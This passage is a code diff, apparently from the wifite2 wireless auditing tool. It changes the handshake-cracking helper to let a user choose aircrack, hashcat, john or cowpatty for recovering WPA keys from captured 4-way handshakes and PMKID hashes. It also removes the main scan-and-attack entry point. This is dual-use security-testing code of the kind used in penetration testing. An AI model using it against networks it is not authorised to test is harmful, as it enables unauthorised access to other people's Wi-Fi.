Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W}): {G}' % (1, len(handshakes))) Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes)))
choices = raw_input() choices = raw_input()
selection = [] selection = []
@@ -145,7 +213,10 @@ class CrackHelper:
first, last = [int(x) for x in choice.split('-')] first, last = [int(x) for x in choice.split('-')]
for index in range(first, last + 1): for index in range(first, last + 1):
selection.append(handshakes[index-1]) selection.append(handshakes[index-1])
else: elif choice.strip().lower() == 'all':
selection = handshakes[:]
break
elif [c.isdigit() for c in choice]:
index = int(choice) index = int(choice)
selection.append(handshakes[index-1]) selection.append(handshakes[index-1])
@@ -153,12 +224,14 @@ class CrackHelper:
@classmethod @classmethod
def crack(cls, hs): def crack(cls, hs, tool):
Color.pl('\n{+} Cracking {C}%s{W} ({C}%s{W}) using {G}%s{W} method' % (hs['essid'], hs['bssid'], hs['type'])) Color.pl('\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % (
cls.TYPES[hs['type']], hs['essid'], hs['bssid']))
if hs['type'] == 'PMKID': if hs['type'] == 'PMKID':
crack_result = cls.crack_pmkid(hs) crack_result = cls.crack_pmkid(hs, tool)
elif hs['type'] == '4-WAY': elif hs['type'] == '4-WAY':
crack_result = cls.crack_4way(hs) crack_result = cls.crack_4way(hs, tool)
else: else:
raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs) raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs)
@@ -174,20 +247,25 @@ class CrackHelper:
@classmethod @classmethod
def crack_4way(cls, hs): def crack_4way(cls, hs, tool):
from ..attack.wpa import AttackWPA
from ..model.handshake import Handshake
from ..model.wpa_result import CrackResultWPA
handshake = Handshake(hs['filename'], handshake = Handshake(hs['filename'],
bssid=hs['bssid'], bssid=hs['bssid'],
essid=hs['essid']) essid=hs['essid'])
key = None
try: try:
key = AttackWPA.crack_handshake(handshake, Configuration.wordlist, verbose=True) handshake.divine_bssid_and_essid()
except KeyboardInterrupt: except ValueError as e:
Color.pl('\n{!} Interrupted') Color.pl('{!} {R}Error: {O}%s{W}' % e)
return None
if tool == 'aircrack':
key = Aircrack.crack_handshake(handshake, show_command=True)
elif tool == 'hashcat':
key = Hashcat.crack_handshake(handshake, show_command=True)
elif tool == 'john':
key = John.crack_handshake(handshake, show_command=True)
elif tool == 'cowpatty':
key = Cowpatty.crack_handshake(handshake, show_command=True)
if key is not None: if key is not None:
return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key) return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key)
@@ -196,15 +274,11 @@ class CrackHelper:
@classmethod @classmethod
def crack_pmkid(cls, hs): def crack_pmkid(cls, hs, tool):
from ..tools.hashcat import Hashcat if tool != 'hashcat':
from ..model.pmkid_result import CrackResultPMKID Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}')
key = None
try:
key = Hashcat.crack_pmkid(hs['filename'], verbose=True) key = Hashcat.crack_pmkid(hs['filename'], verbose=True)
except KeyboardInterrupt:
Color.pl('\n{!} Interrupted')
if key is not None: if key is not None:
return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key) return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key)

View File

@@ -63,7 +63,7 @@ class Process(object):
return True return True
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0): def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0, stdin=PIPE):
''' Starts executing command ''' ''' Starts executing command '''
if type(command) is str: if type(command) is str:
@@ -86,7 +86,7 @@ class Process(object):
self.start_time = time.time() self.start_time = time.time()
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd, bufsize=bufsize) self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, cwd=cwd, bufsize=bufsize)
def __del__(self): def __del__(self):
''' '''
@@ -119,6 +119,11 @@ class Process(object):
def stderrln(self): def stderrln(self):
return self.pid.stderr.readline() return self.pid.stderr.readline()
def stdin(self, text):
if self.pid.stdin:
self.pid.stdin.write(text.encode('utf-8'))
self.pid.stdin.flush()
def get_output(self): def get_output(self):
''' Waits for process to finish, sets stdout & stderr ''' ''' Waits for process to finish, sets stdout & stderr '''
if self.pid.poll() is None: if self.pid.poll() is None:

View File

@@ -4,7 +4,7 @@
from ..util.color import Color from ..util.color import Color
from ..tools.airodump import Airodump from ..tools.airodump import Airodump
from ..util.input import raw_input, xrange from ..util.input import raw_input, xrange
from ..model.target import Target from ..model.target import Target, WPSState
from ..config import Configuration from ..config import Configuration
from time import sleep, time from time import sleep, time
@@ -54,7 +54,7 @@ class Scanner(object):
self.print_targets() self.print_targets()
target_count = len(self.targets) target_count = len(self.targets)
client_count = sum([len(t.clients) for t in self.targets]) client_count = sum(len(t.clients) for t in self.targets)
outline = '\r{+} Scanning' outline = '\r{+} Scanning'
if airodump.decloaking: if airodump.decloaking:
@@ -88,7 +88,7 @@ class Scanner(object):
return False # No specific target from user. return False # No specific target from user.
for target in self.targets: for target in self.targets:
if Configuration.wps_only and target.wps != True: if Configuration.wps_only and target.wps not in [WPSState.UNLOCKED, WPSState.LOCKED]:
continue continue
if bssid and target.bssid and bssid.lower() == target.bssid.lower(): if bssid and target.bssid and bssid.lower() == target.bssid.lower():
self.target = target self.target = target
@@ -131,7 +131,7 @@ class Scanner(object):
self.previous_target_count = len(self.targets) self.previous_target_count = len(self.targets)
# Overwrite the current line # Overwrite the current line
Color.p('\r') Color.p('\r{W}{D}')
# First row: columns # First row: columns
Color.p(' NUM') Color.p(' NUM')
@@ -145,7 +145,7 @@ class Scanner(object):
Color.p(' -------------------------') Color.p(' -------------------------')
if Configuration.show_bssids: if Configuration.show_bssids:
Color.p(' -----------------') Color.p(' -----------------')
Color.pl(' --- ---- ----- ---- ------') Color.pl(' --- ---- ----- ---- ------{W}')
# Remaining rows: targets # Remaining rows: targets
for idx, target in enumerate(self.targets, start=1): for idx, target in enumerate(self.targets, start=1):

View File

@@ -28,8 +28,8 @@ class Timer(object):
return '-%ds' % seconds return '-%ds' % seconds
rem = int(seconds) rem = int(seconds)
hours = rem / 3600 hours = int(rem / 3600)
mins = (rem % 3600) / 60 mins = int((rem % 3600) / 60)
secs = rem % 60 secs = rem % 60
if hours > 0: if hours > 0:
return '%dh%dm%ds' % (hours, mins, secs) return '%dh%dm%ds' % (hours, mins, secs)

View File

@@ -1,105 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from .config import Configuration
except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
from .util.color import Color
import os
import sys
class Wifite(object):
def __init__(self):
'''
Initializes Wifite. Checks for root permissions and ensures dependencies are installed.
'''
self.print_banner()
Configuration.initialize(load_interface=False)
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {R}re-run with {O}sudo{W}')
Configuration.exit_gracefully(0)
from .tools.dependency import Dependency
Dependency.run_dependency_check()
def start(self):
'''
Starts target-scan + attack loop, or launches utilities dpeending on user input.
'''
from .model.result import CrackResult
from .model.handshake import Handshake
from .util.crack import CrackHelper
if Configuration.show_cracked:
CrackResult.display()
elif Configuration.check_handshake:
Handshake.check()
elif Configuration.crack_handshake:
CrackHelper.run()
else:
Configuration.get_monitor_mode_interface()
self.scan_and_attack()
def print_banner(self):
'''Displays ASCII art of the highest caliber.'''
Color.pl(r'{G} . {GR}{D} {W}{G} . {W}')
Color.pl(r'{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version)
Color.pl(r'{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}')
Color.pl(r'{G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}')
Color.pl(r'{G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}')
Color.pl('')
def scan_and_attack(self):
'''
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
from .util.scanner import Scanner
from .attack.all import AttackAll
Color.pl('')
# Scan
s = Scanner()
targets = s.select_targets()
# Attack
attacked_targets = AttackAll.attack_multiple(targets)
Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets)
##############################################################
def entry_point():
try:
wifite = Wifite()
wifite.start()
except Exception as e:
Color.pexception(e)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted, shutting down...{W}')
Configuration.exit_gracefully(0)
if __name__ == '__main__':
entry_point()